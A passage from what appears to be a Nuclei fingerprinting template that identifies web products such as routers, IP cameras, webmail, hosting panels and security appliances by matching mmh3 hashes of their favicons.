mmh3(base64_py(body)))" - - - type: dsl - name: "microsoft-owa" - dsl: - - "status_code==200 && (\"442749392\" == mmh3(base64_py(body)))" - - - type: dsl - name: "pfsense" - dsl: - - "status_code==200 && (\"1405460984\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ikuai-networks" - dsl: - - "status_code==200 && (\"-271448102\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dlink-webcam" - dsl: - - "status_code==200 && (\"31972968\" == mmh3(base64_py(body)))" - - - type: dsl - name: "3cx-phone-system" - dsl: - - "status_code==200 && (\"970132176\" == mmh3(base64_py(body)))" - - - type: dsl - name: "bluehost" - dsl: - - "status_code==200 && (\"-1119613926\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sangfor" - dsl: - - "status_code==200 && (\"123821839\" == mmh3(base64_py(body)))" - - - type: dsl - name: "zte-corporation-gateway/appliance" - dsl: - - "status_code==200 && (\"459900502\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ruckus-wireless" - dsl: - - "status_code==200 && (\"-2069844696\" == mmh3(base64_py(body)))" - - - type: dsl - name: "bitnami" - dsl: - - "status_code==200 && (\"-1607644090\" == mmh3(base64_py(body)))" - - - type: dsl - name: "juniper-device-manager" - dsl: - - "status_code==200 && (\"2141724739\" == mmh3(base64_py(body)))" - - - type: dsl - name: "technicolor-gateway" - dsl: - - "status_code==200 && (\"1835479497\" == mmh3(base64_py(body)))" - - - type: dsl - name: "gitlab" - dsl: - - "status_code==200 && (\"1278323681\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netasq---secure-/-stormshield" - dsl: - - "status_code==200 && (\"-1929912510\" == mmh3(base64_py(body)))" - - - type: dsl - name: "vmware-horizon" - dsl: - - "status_code==200 && (\"-1255992602\" == mmh3(base64_py(body)))" - - - type: dsl - name: "vmware-horizon" - dsl: - - "status_code==200 && (\"1895360511\" == mmh3(base64_py(body)))" - - - type: dsl - name: "vmware-horizon" - dsl: - - "status_code==200 && (\"-991123252\" == mmh3(base64_py(body)))" - - - type: dsl - name: "vmware-secure-file-transfer" - dsl: - - "status_code==200 && (\"1642701741\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sap-netweaver" - dsl: - - "status_code==200 && (\"-266008933\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sap-id-service" - dsl: - - "status_code==200 && (\"-1967743928\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sap-conversational-ai" - dsl: - - "status_code==200 && (\"1347937389\" == mmh3(base64_py(body)))" - - - type: dsl - name: "palo-alto-login-portal" - dsl: - - "status_code==200 && (\"602431586\" == mmh3(base64_py(body)))" - - - type: dsl - name: "palo-alto-networks" - dsl: - - "status_code==200 && (\"-318947884\" == mmh3(base64_py(body)))" - - - type: dsl - name: "outlook-web-application" - dsl: - - "status_code==200 && (\"1356662359\" == mmh3(base64_py(body)))" - - - type: dsl - name: "webmin" - dsl: - - "status_code==200 && (\"1453890729\" == mmh3(base64_py(body)))" - - - type: dsl - name: "docker" - dsl: - - "status_code==200 && (\"-1814887000\" == mmh3(base64_py(body)))" - - - type: dsl - name: "docker" - dsl: - - "status_code==200 && (\"1937209448\" == mmh3(base64_py(body)))" - - - type: dsl - name: "amazon" - dsl: - - "status_code==200 && (\"-1544605732\" == mmh3(base64_py(body)))" - - - type: dsl - name: "amazon" - dsl: - - "status_code==200 && (\"716989053\" == mmh3(base64_py(body)))" - - - type: dsl - name: "phpmyadmin" - dsl: - - "status_code==200 && (\"-1010568750\" == mmh3(base64_py(body)))" - - - type: dsl - name: "zhejiang-uniview-technologies-co." - dsl: - - "status_code==200 && (\"-1240222446\" == mmh3(base64_py(body)))" - - - type: dsl - name: "isp-manager" - dsl: - - "status_code==200 && (\"-986678507\" == mmh3(base64_py(body)))" - - - type: dsl - name: "axis-network-cameras" - dsl: - - "status_code==200 && (\"-1616143106\" == mmh3(base64_py(body)))" - - - type: dsl - name: "roundcube-webmail" - dsl: - - "status_code==200 && (\"-976235259\" == mmh3(base64_py(body)))" - - - type: dsl - name: "unifi-video-controller-airvision" - dsl: - - "status_code==200 && (\"768816037\" == mmh3(base64_py(body)))" - - - type: dsl - name: "pfsense" - dsl: - - "status_code==200 && (\"1015545776\" == mmh3(base64_py(body)))" - - - type: dsl - name: "freebox-os" - dsl: - - "status_code==200 && (\"1838417872\" == mmh3(base64_py(body)))" - - - type: dsl - name: "hxxps" - dsl: - - "status_code==200 && (\"1188645141\" == mmh3(base64_py(body)))" - - - type: dsl - name: "keenetic" - dsl: - - "status_code==200 && (\"547282364\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sierra-wireless-ace-manager-airlink" - dsl: - - "status_code==200 && (\"-1571472432\" == mmh3(base64_py(body)))" - - - type: dsl - name: "synology-diskstation" - dsl: - - "status_code==200 && (\"149371702\" == mmh3(base64_py(body)))" - - - type: dsl - name: "instar-ip-cameras" - dsl: - - "status_code==200 && (\"-1169314298\" == mmh3(base64_py(body)))" - - - type: dsl - name: "webmin" - dsl: - - "status_code==200 && (\"-1038557304\" == mmh3(base64_py(body)))" - - - type: dsl - name: "octoprint-3d-printer" - dsl: - - "status_code==200 && (\"1307375944\" == mmh3(base64_py(body)))" - - - type: dsl - name: "webmin" - dsl: - - "status_code==200 && (\"1280907310\" == mmh3(base64_py(body)))" - - - type: dsl - name: "vesta-hosting-control-panel" - dsl: - - "status_code==200 && (\"1954835352\" == mmh3(base64_py(body)))" - - - type: dsl - name: "farming-simulator-dedicated-server" - dsl: - - "status_code==200 && (\"509789953\" == mmh3(base64_py(body)))" - - - type: dsl - name: "residential-gateway" - dsl: - - "status_code==200 && (\"-1933493443\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cpanel-login" - dsl: - - "status_code==200 && (\"1993518473\" == mmh3(base64_py(body)))" - - - type: dsl - name: "arris" - dsl: - - "status_code==200 && (\"-1477563858\" == mmh3(base64_py(body)))" - - - type: dsl - name: "plex-server" - dsl: - - "status_code==200 && (\"-895890586\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dlink-webcam" - dsl: - - "status_code==200 && (\"-1354933624\" == mmh3(base64_py(body)))" - - - type: dsl - name: "deluge" - dsl: - - "status_code==200 && (\"944969688\" == mmh3(base64_py(body)))" - - - type: dsl - name: "webmin" - dsl: - - "status_code==200 && (\"479413330\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cambium-networks" - dsl: - - "status_code==200 && (\"-435817905\" == mmh3(base64_py(body)))" - - - type: dsl - name: "plesk" - dsl: - - "status_code==200 && (\"-981606721\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dahua-storm-ip-camera" - dsl: - - "status_code==200 && (\"833190513\" == mmh3(base64_py(body)))" - - - type: dsl - name: "10" - dsl: - - "status_code==200 && (\"-1314864135\" == mmh3(base64_py(body)))" - - - type: dsl - name: "parallels-plesk-panel" - dsl: - - "status_code==200 && (\"-652508439\" == mmh3(base64_py(body)))" - - - type: dsl - name: "fireware-watchguard" - dsl: - - "status_code==200 && (\"-569941107\" == mmh3(base64_py(body)))" - - - type: dsl - name: "shock&innovation!!-netis-setup" - dsl: - - "status_code==200 && (\"1326164945\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cacaoweb" - dsl: - - "status_code==200 && (\"-1738184811\" == mmh3(base64_py(body)))" - - - type: dsl - name: "loxone-automation" - dsl: - - "status_code==200 && (\"904434662\" == mmh3(base64_py(body)))" - - - type: dsl - name: "hp-printer/server" - dsl: - - "status_code==200 && (\"905744673\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netflix" - dsl: - - "status_code==200 && (\"902521196\" == mmh3(base64_py(body)))" - - - type: dsl - name: "linksys-smart-wi-fi" - dsl: - - "status_code==200 && (\"-2063036701\" == mmh3(base64_py(body)))" - - - type: dsl - name: "lwip-a-lightweight-tcp/ip-stack" - dsl: - - "status_code==200 && (\"-1205024243\" == mmh3(base64_py(body)))" - - - type: dsl - name: "hitron-technologies" - dsl: - - "status_code==200 && (\"607846949\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dahua-storm-dvr" - dsl: - - "status_code==200 && (\"1281253102\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mobotix-camera" - dsl: - - "status_code==200 && (\"661332347\" == mmh3(base64_py(body)))" - - - type: dsl - name: "blue-iris-webcam" - dsl: - - "status_code==200 && (\"-520888198\" == mmh3(base64_py(body)))" - - - type: dsl - name: "vigor-router" - dsl: - - "status_code==200 && (\"104189364\" == mmh3(base64_py(body)))" - - - type: dsl - name: "alibaba-cloud-block-page" - dsl: - - "status_code==200 && (\"1227052603\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dd-wrt-dd-wrt-milli_httpd" - dsl: - - "status_code==200 && (\"252728887\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mitel-networks-micollab-end-user-portal" - dsl: - - "status_code==200 && (\"-1922044295\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dlink-webcam" - dsl: - - "status_code==200 && (\"1221759509\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dlink-router" - dsl: - - "status_code==200 && (\"1037387972\" == mmh3(base64_py(body)))" - - - type: dsl - name: "prtg-network-monitor" - dsl: - - "status_code==200 && (\"-655683626\" == mmh3(base64_py(body)))" - - - type: dsl - name: "elastic-database" - dsl: - - "status_code==200 && (\"1611729805\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dlink-webcam" - dsl: - - "status_code==200 && (\"1144925962\" == mmh3(base64_py(body)))" - - - type: dsl - name: "wildfly" - dsl: - - "status_code==200 && (\"-1666561833\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cisco-meraki-dashboard" - dsl: - - "status_code==200 && (\"804949239\" == mmh3(base64_py(body)))" - - - type: dsl - name: "workday" - dsl: - - "status_code==200 && (\"-459291760\" == mmh3(base64_py(body)))" - - - type: dsl - name: "justhost" - dsl: - - "status_code==200 && (\"1734609466\" == mmh3(base64_py(body)))" - - - type: dsl - name: "baidu-ip-error-page" - dsl: - - "status_code==200 && (\"-1507567067\" == mmh3(base64_py(body)))" - - - type: dsl - name: "intelbras-sa" - dsl: - - "status_code==200 && (\"2006716043\" == mmh3(base64_py(body)))" - - - type: dsl - name: "yii-php-framework-default-favicon" - dsl: - - "status_code==200 && (\"-1298108480\" == mmh3(base64_py(body)))" - - - type: dsl - name: "truvision-nvr-interlogix" - dsl: - - "status_code==200 && (\"1782271534\" == mmh3(base64_py(body)))" - - - type: dsl - name: "redmine" - dsl: - - "status_code==200 && (\"603314\" == mmh3(base64_py(body)))" - - - type: dsl - name: "phpmyadmin" - dsl: - - "status_code==200 && (\"-476231906\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cisco-eg" - dsl: - - "status_code==200 && (\"-646322113\" == mmh3(base64_py(body)))" - - - type: dsl - name: "jetty-404" - dsl: - - "status_code==200 && (\"-629047854\" == mmh3(base64_py(body)))" - - - type: dsl - name: "luma-surveillance" - dsl: - - "status_code==200 && (\"-1351901211\" == mmh3(base64_py(body)))" - - - type: dsl - name: "parallels-plesk-panel" - dsl: - - "status_code==200 && (\"-519765377\" == mmh3(base64_py(body)))" - - - type: dsl - name: "hp-printer-/-server" - dsl: - - "status_code==200 && (\"-2144363468\" == mmh3(base64_py(body)))" - - - type: dsl - name: "metasploit" - dsl: - - "status_code==200 && (\"-127886975\" == mmh3(base64_py(body)))" - - - type: dsl - name: "metasploit" - dsl: - - "status_code==200 && (\"1139788073\" == mmh3(base64_py(body)))" - - - type: dsl - name: "metasploit" - dsl: - - "status_code==200 && (\"-1235192469\" == mmh3(base64_py(body)))" - - - type: dsl - name: "alibi-nvr" - dsl: - - "status_code==200 && (\"1876585825\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sangfor" - dsl: - - "status_code==200 && (\"-1810847295\" == mmh3(base64_py(body)))" - - - type: dsl - name: "websockets-test-page-eg" - dsl: - - "status_code==200 && (\"-291579889\" == mmh3(base64_py(body)))" - - - type: dsl - name: "macos-server-apple" - dsl: - - "status_code==200 && (\"1629518721\" == mmh3(base64_py(body)))" - - - type: dsl - name: "openrg" - dsl: - - "status_code==200 && (\"-986816620\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cisco-router" - dsl: - - "status_code==200 && (\"-299287097\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sangfor" - dsl: - - "status_code==200 && (\"-1926484046\" == mmh3(base64_py(body)))" - - - type: dsl - name: "herospeed-digital-technology-co.-nvr/ipc/xvr" - dsl: - - "status_code==200 && (\"-873627015\" == mmh3(base64_py(body)))" - - - type: dsl - name: "nomadix-access-gateway" - dsl: - - "status_code==200 && (\"2071993228\" == mmh3(base64_py(body)))" - - - type: dsl - name: "gitlab" - dsl: - - "status_code==200 && (\"516963061\" == mmh3(base64_py(body)))" - - - type: dsl - name: "magento" - dsl: - - "status_code==200 && (\"-38580010\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mk-auth" - dsl: - - "status_code==200 && (\"1490343308\" == mmh3(base64_py(body)))" - - - type: dsl - name: "shoutcast-server" - dsl: - - "status_code==200 && (\"-632583950\" == mmh3(base64_py(body)))" - - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"95271369\" == mmh3(base64_py(body)))" - - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"1476335317\" == mmh3(base64_py(body)))" - - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"-842192932\" == mmh3(base64_py(body)))" - - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"105083909\" == mmh3(base64_py(body)))" - - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"240606739\" == mmh3(base64_py(body)))" - - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"2121539357\" == mmh3(base64_py(body)))" - - - type: dsl - name: "adobe-campaign-classic" - dsl: - - "status_code==200 && (\"-333791179\" == mmh3(base64_py(body)))" - - - type: dsl - name: "xampp" - dsl: - - "status_code==200 && (\"-1437701105\" == mmh3(base64_py(body)))" - - - type: dsl - name: "niagara-web-server" - dsl: - - "status_code==200 && (\"-676077969\" == mmh3(base64_py(body)))" - - - type: dsl - name: "technicolor" - dsl: - - "status_code==200 && (\"-2138771289\" == mmh3(base64_py(body)))" - - - type: dsl - name: "hitron-technologies-inc." - dsl: - - "status_code==200 && (\"711742418\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ibm-notes" - dsl: - - "status_code==200 && (\"728788645\" == mmh3(base64_py(body)))" - - - type: dsl - name: "barracuda" - dsl: - - "status_code==200 && (\"1436966696\" == mmh3(base64_py(body)))" - - - type: dsl - name: "servicenow" - dsl: - - "status_code==200 && (\"86919334\" == mmh3(base64_py(body)))" - - - type: dsl - name: "openfire-admin-console" - dsl: - - "status_code==200 && (\"1211608009\" == mmh3(base64_py(body)))" - - - type: dsl - name: "hp-ilo" - dsl: - - "status_code==200 && (\"2059618623\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sunny-webbox" - dsl: - - "status_code==200 && (\"1975413433\" == mmh3(base64_py(body)))" - - - type: dsl - name: "zyxel" - dsl: - - "status_code==200 && (\"943925975\" == mmh3(base64_py(body)))" - - - type: dsl - name: "huawei" - dsl: - - "status_code==200 && (\"281559989\" == mmh3(base64_py(body)))" - - - type: dsl - name: "tenda-web-master" - dsl: - - "status_code==200 && (\"-2145085239\" == mmh3(base64_py(body)))" - - - type: dsl - name: "prometheus-time-series-collection-and-processing-server" - dsl: - - "status_code==200 && (\"-1399433489\" == mmh3(base64_py(body)))" - - - type: dsl - name: "wdcp-cloud-host-management-system" - dsl: - - "status_code==200 && (\"1786752597\" == mmh3(base64_py(body)))" - - - type: dsl - name: "domoticz-home-automation" - dsl: - - "status_code==200 && (\"90680708\" == mmh3(base64_py(body)))" - - - type: dsl - name: "tableau" - dsl: - - "status_code==200 && (\"-1441956789\" == mmh3(base64_py(body)))" - - - type: dsl - name: "openwrt-luci" - dsl: - - "status_code==200 && (\"-675839242\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ubiquiti-airos" - dsl: - - "status_code==200 && (\"1020814938\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mdaemon-webmail" - dsl: - - "status_code==200 && (\"-766957661\" == mmh3(base64_py(body)))" - - - type: dsl - name: "teltonika" - dsl: - - "status_code==200 && (\"119741608\" == mmh3(base64_py(body)))" - - - type: dsl - name: "entrolink" - dsl: - - "status_code==200 && (\"1973665246\" == mmh3(base64_py(body)))" - - - type: dsl - name: "windriver-webserver" - dsl: - - "status_code==200 && (\"74935566\" == mmh3(base64_py(body)))" - - - type: dsl - name: "microhard-systems" - dsl: - - "status_code==200 && (\"-1723752240\" == mmh3(base64_py(body)))" - - - type: dsl - name: "skype" - dsl: - - "status_code==200 && (\"-1807411396\" == mmh3(base64_py(body)))" - - - type: dsl - name: "teltonika" - dsl: - - "status_code==200 && (\"-1612496354\" == mmh3(base64_py(body)))" - - - type: dsl - name: "eltex-router" - dsl: - - "status_code==200 && (\"1877797890\" == mmh3(base64_py(body)))" - - - type: dsl - name: "bintec-elmeg" - dsl: - - "status_code==200 && (\"-375623619\" == mmh3(base64_py(body)))" - - - type: dsl - name: "syncthru-web-service-printers" - dsl: - - "status_code==200 && (\"1483097076\" == mmh3(base64_py(body)))" - - - type: dsl - name: "boaserver" - dsl: - - "status_code==200 && (\"1169183049\" == mmh3(base64_py(body)))" - - - type: dsl - name: "securepoint" - dsl: - - "status_code==200 && (\"1051648103\" == mmh3(base64_py(body)))" - - - type: dsl - name: "moodle" - dsl: - - "status_code==200 && (\"-438482901\" == mmh3(base64_py(body)))" - - - type: dsl - name: "radix" - dsl: - - "status_code==200 && (\"-1492966240\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cradlepoint-technology-router" - dsl: - - "status_code==200 && (\"1466912879\" == mmh3(base64_py(body)))" - - - type: dsl - name: "drupal" - dsl: - - "status_code==200 && (\"-167656799\" == mmh3(base64_py(body)))" - - - type: dsl - name: "blackboard" - dsl: - - "status_code==200 && (\"-1593651747\" == mmh3(base64_py(body)))" - - - type: dsl - name: "jupyter-notebook" - dsl: - - "status_code==200 && (\"-895963602\" == mmh3(base64_py(body)))" - - - type: dsl - name: "hostmonster---web-hosting" - dsl: - - "status_code==200 && (\"-972810761\" == mmh3(base64_py(body)))" - - - type: dsl - name: "d-link-router/network" - dsl: - - "status_code==200 && (\"1703788174\" == mmh3(base64_py(body)))" - - - type: dsl - name: "rocket-chat" - dsl: - - "status_code==200 && (\"225632504\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mofinetwork" - dsl: - - "status_code==200 && (\"-1702393021\" == mmh3(base64_py(body)))" - - - type: dsl - name: "zabbix" - dsl: - - "status_code==200 && (\"892542951\" == mmh3(base64_py(body)))" - - - type: dsl - name: "totolink-network" - dsl: - - "status_code==200 && (\"547474373\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ossia-provision-sr-|-webcam/ip-camera" - dsl: - - "status_code==200 && (\"-374235895\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cpanel-login" - dsl: - - "status_code==200 && (\"1544230796\" == mmh3(base64_py(body)))" - - - type: dsl - name: "d-link-router/network" - dsl: - - "status_code==200 && (\"517158172\" == mmh3(base64_py(body)))" - - - type: dsl - name: "jeedom-home-automation" - dsl: - - "status_code==200 && (\"462223993\" == mmh3(base64_py(body)))" - - - type: dsl - name: "jboss-application-server-7" - dsl: - - "status_code==200 && (\"937999361\" == mmh3(base64_py(body)))" - - - type: dsl - name: "niagara-web-server-/-tridium" - dsl: - - "status_code==200 && (\"1991562061\" == mmh3(base64_py(body)))" - - - type: dsl - name: "solarwinds-serv-u-ftp-server" - dsl: - - "status_code==200 && (\"812385209\" == mmh3(base64_py(body)))" - - - type: dsl - name: "aruba-virtual-controller" - dsl: - - "status_code==200 && (\"1142227528\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dell" - dsl: - - "status_code==200 && (\"-1153950306\" == mmh3(base64_py(body)))" - - - type: dsl - name: "remobjects-sdk-/-remoting-sdk-for-.net-http-server-microsoft" - dsl: - - "status_code==200 && (\"72005642\" == mmh3(base64_py(body)))" - - - type: dsl - name: "zyxel-zywall" - dsl: - - "status_code==200 && (\"-484708885\" == mmh3(base64_py(body)))" - - - type: dsl - name: "visualsvn-server" - dsl: - - "status_code==200 && (\"706602230\" == mmh3(base64_py(body)))" - - - type: dsl - name: "jboss" - dsl: - - "status_code==200 && (\"-656811182\" == mmh3(base64_py(body)))" - - - type: dsl - name: "starface-voip-software" - dsl: - - "status_code==200 && (\"-332324409\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netis-network-devices" - dsl: - - "status_code==200 && (\"-594256627\" == mmh3(base64_py(body)))" - - - type: dsl - name: "whm" - dsl: - - "status_code==200 && (\"-649378830\" == mmh3(base64_py(body)))" - - - type: dsl - name: "tandberg" - dsl: - - "status_code==200 && (\"97604680\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ghost-cms" - dsl: - - "status_code==200 && (\"-1015932800\" == mmh3(base64_py(body)))" - - - type: dsl - name: "avtech-ip-surveillance-camera" - dsl: - - "status_code==200 && (\"-194439630\" == mmh3(base64_py(body)))" - - - type: dsl - name: "liferay-portal" - dsl: - - "status_code==200 && (\"129457226\" == mmh3(base64_py(body)))" - - - type: dsl - name: "parallels-plesk-panel" - dsl: - - "status_code==200 && (\"-771764544\" == mmh3(base64_py(body)))" - - - type: dsl - name: "odoo" - dsl: - - "status_code==200 && (\"-617743584\" == mmh3(base64_py(body)))" - - - type: dsl - name: "polycom" - dsl: - - "status_code==200 && (\"77044418\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cake-php" - dsl: - - "status_code==200 && (\"980692677\" == mmh3(base64_py(body)))" - - - type: dsl - name: "exacq" - dsl: - - "status_code==200 && (\"476213314\" == mmh3(base64_py(body)))" - - - type: dsl - name: "checkpoint" - dsl: - - "status_code==200 && (\"794809961\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ubiquiti-unms" - dsl: - - "status_code==200 && (\"1157789622\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cpanel-login" - dsl: - - "status_code==200 && (\"1244636413\" == mmh3(base64_py(body)))" - - - type: dsl - name: "worldclient-for-mdaemon" - dsl: - - "status_code==200 && (\"1985721423\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netport-software-dsl" - dsl: - - "status_code==200 && (\"-1124868062\" == mmh3(base64_py(body)))" - - - type: dsl - name: "f5-big-ip" - dsl: - - "status_code==200 && (\"-335242539\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mailcow" - dsl: - - "status_code==200 && (\"2146763496\" == mmh3(base64_py(body)))" - - - type: dsl - name: "qnap-nas-virtualization-station" - dsl: - - "status_code==200 && (\"-1041180225\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netgear" - dsl: - - "status_code==200 && (\"-1319025408\" == mmh3(base64_py(body)))" - - - type: dsl - name: "gogs" - dsl: - - "status_code==200 && (\"917966895\" == mmh3(base64_py(body)))" - - - type: dsl - name: "trendnet-ip-camera" - dsl: - - "status_code==200 && (\"512590457\" == mmh3(base64_py(body)))" - - - type: dsl - name: "asustor" - dsl: - - "status_code==200 && (\"1678170702\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dahua" - dsl: - - "status_code==200 && (\"-1466785234\" == mmh3(base64_py(body)))" - - - type: dsl - name: "discuz!" - dsl: - - "status_code==200 && (\"-505448917\" == mmh3(base64_py(body)))" - - - type: dsl - name: "wdcp-cloud-host-management-system" - dsl: - - "status_code==200 && (\"255892555\" == mmh3(base64_py(body)))" - - - type: dsl - name: "joomla" - dsl: - - "status_code==200 && (\"1627330242\" == mmh3(base64_py(body)))" - - - type: dsl - name: "smartermail" - dsl: - - "status_code==200 && (\"-1935525788\" == mmh3(base64_py(body)))" - - - type: dsl - name: "seafile" - dsl: - - "status_code==200 && (\"-12700016\" == mmh3(base64_py(body)))" - - - type: dsl - name: "bintec-elmeg" - dsl: - - "status_code==200 && (\"1770799630\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netgear-readynas" - dsl: - - "status_code==200 && (\"-137295400\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ipecs" - dsl: - - "status_code==200 && (\"-195508437\" == mmh3(base64_py(body)))" - - - type: dsl - name: "bet365" - dsl: - - "status_code==200 && (\"-2116540786\" == mmh3(base64_py(body)))" - - - type: dsl - name: "reolink" - dsl: - - "status_code==200 && (\"-38705358\" == mmh3(base64_py(body)))" - - - type: dsl - name: "idera" - dsl: - - "status_code==200 && (\"-450254253\" == mmh3(base64_py(body)))" - - - type: dsl - name: "proofpoint" - dsl: - - "status_code==200 && (\"-1630354993\" == mmh3(base64_py(body)))" - - - type: dsl - name: "kerio-connect-webmail" - dsl: - - "status_code==200 && (\"-1678298769\" == mmh3(base64_py(body)))" - - - type: dsl - name: "worldclient-for-mdaemon" - dsl: - - "status_code==200 && (\"-35107086\" == mmh3(base64_py(body)))" - - - type: dsl - name: "realtek" - dsl: - - "status_code==200 && (\"2055322029\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ruijie-networks-login" - dsl: - - "status_code==200 && (\"-692947551\" == mmh3(base64_py(body)))" - - - type: dsl - name: "askey-cable-modem" - dsl: - - "status_code==200 && (\"-1710631084\" == mmh3(base64_py(body)))" - - - type: dsl - name: "askey-cable-modem" - dsl: - - "status_code==200 && (\"89321398\" == mmh3(base64_py(body)))" - - - type: dsl - name: "jaws-web-server-ip-camera" - dsl: - - "status_code==200 && (\"90066852\" == mmh3(base64_py(body)))" - - - type: dsl - name: "jaws-web-server-ip-camera" - dsl: - - "status_code==200 && (\"768231242\" == mmh3(base64_py(body)))" - - - type: dsl - name: "homegrown-website-hosting" - dsl: - - "status_code==200 && (\"-421986013\" == mmh3(base64_py(body)))" - - - type: dsl - name: "technicolor-/-thomson-speedtouch-network-/-adsl" - dsl: - - "status_code==200 && (\"156312019\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dvr-korean" - dsl: - - "status_code==200 && (\"-560297467\" == mmh3(base64_py(body)))" - - - type: dsl - name: "joomla" - dsl: - - "status_code==200 && (\"-1950415971\" == mmh3(base64_py(body)))" - - - type: dsl - name: "tp-link-network-device" - dsl: - - "status_code==200 && (\"1842351293\" == mmh3(base64_py(body)))" - - - type: dsl - name: "salesforce" - dsl: - - "status_code==200 && (\"1433417005\" == mmh3(base64_py(body)))" - - - type: dsl - name: "apache-haus" - dsl: - - "status_code==200 && (\"-632070065\" == mmh3(base64_py(body)))" - - - type: dsl - name: "untangle" - dsl: - - "status_code==200 && (\"1103599349\" == mmh3(base64_py(body)))" - - - type: dsl - name: "shenzhen-coship-electronics-co." - dsl: - - "status_code==200 && (\"224536051\" == mmh3(base64_py(body)))" - - - type: dsl - name: "d-link-router/network" - dsl: - - "status_code==200 && (\"1038500535\" == mmh3(base64_py(body)))" - - - type: dsl - name: "d-link-camera" - dsl: - - "status_code==200 && (\"-355305208\" == mmh3(base64_py(body)))" - - - type: dsl - name: "kibana" - dsl: - - "status_code==200 && (\"-267431135\" == mmh3(base64_py(body)))" - - - type: dsl - name: "kibana" - dsl: - - "status_code==200 && (\"-759754862\" == mmh3(base64_py(body)))" - - - type: dsl - name: "kibana" - dsl: - - "status_code==200 && (\"-1200737715\" == mmh3(base64_py(body)))" - - - type: dsl - name: "kibana" - dsl: - - "status_code==200 && (\"75230260\" == mmh3(base64_py(body)))" - - - type: dsl - name: "kibana" - dsl: - - "status_code==200 && (\"1668183286\" == mmh3(base64_py(body)))" - - - type: dsl - name: "intelbras-sa" - dsl: - - "status_code==200 && (\"283740897\" == mmh3(base64_py(body)))" - - - type: dsl - name: "icecast-streaming-media-server" - dsl: - - "status_code==200 && (\"1424295654\" == mmh3(base64_py(body)))" - - - type: dsl - name: "nec-webpro" - dsl: - - "status_code==200 && (\"1922032523\" == mmh3(base64_py(body)))" - - - type: dsl - name: "vivotek-camera" - dsl: - - "status_code==200 && (\"-1654229048\" == mmh3(base64_py(body)))" - - - type: dsl - name: "microsoft-iis" - dsl: - - "status_code==200 && (\"-1414475558\" == mmh3(base64_py(body)))" - - - type: dsl - name: "univention-portal" - dsl: - - "status_code==200 && (\"-1697334194\" == mmh3(base64_py(body)))" - - - type: dsl - name: "portainer-docker-management" - dsl: - - "status_code==200 && (\"-1424036600\" == mmh3(base64_py(body)))" - - - type: dsl - name: "nos-router" - dsl: - - "status_code==200 && (\"-831826827\" == mmh3(base64_py(body)))" - - - type: dsl - name: "tongda" - dsl: - - "status_code==200 && (\"-759108386\" == mmh3(base64_py(body)))" - - - type: dsl - name: "crushftp" - dsl: - - "status_code==200 && (\"-1022206565\" == mmh3(base64_py(body)))" - - - type: dsl - name: "endian-firewall" - dsl: - - "status_code==200 && (\"-1225484776\" == mmh3(base64_py(body)))" - - - type: dsl - name: "kerio-control-firewall" - dsl: - - "status_code==200 && (\"-631002664\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ferozo-panel" - dsl: - - "status_code==200 && (\"2072198544\" == mmh3(base64_py(body)))" - - - type: dsl - name: "kerio-control-firewall" - dsl: - - "status_code==200 && (\"-466504476\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cafe24-korea" - dsl: - - "status_code==200 && (\"1251810433\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mautic-open-source-marketing-automation" - dsl: - - "status_code==200 && (\"1273982002\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netiaspot-network" - dsl: - - "status_code==200 && (\"-978656757\" == mmh3(base64_py(body)))" - - - type: dsl - name: "multilaser" - dsl: - - "status_code==200 && (\"916642917\" == mmh3(base64_py(body)))" - - - type: dsl - name: "canvas-lms-learning-management" - dsl: - - "status_code==200 && (\"575613323\" == 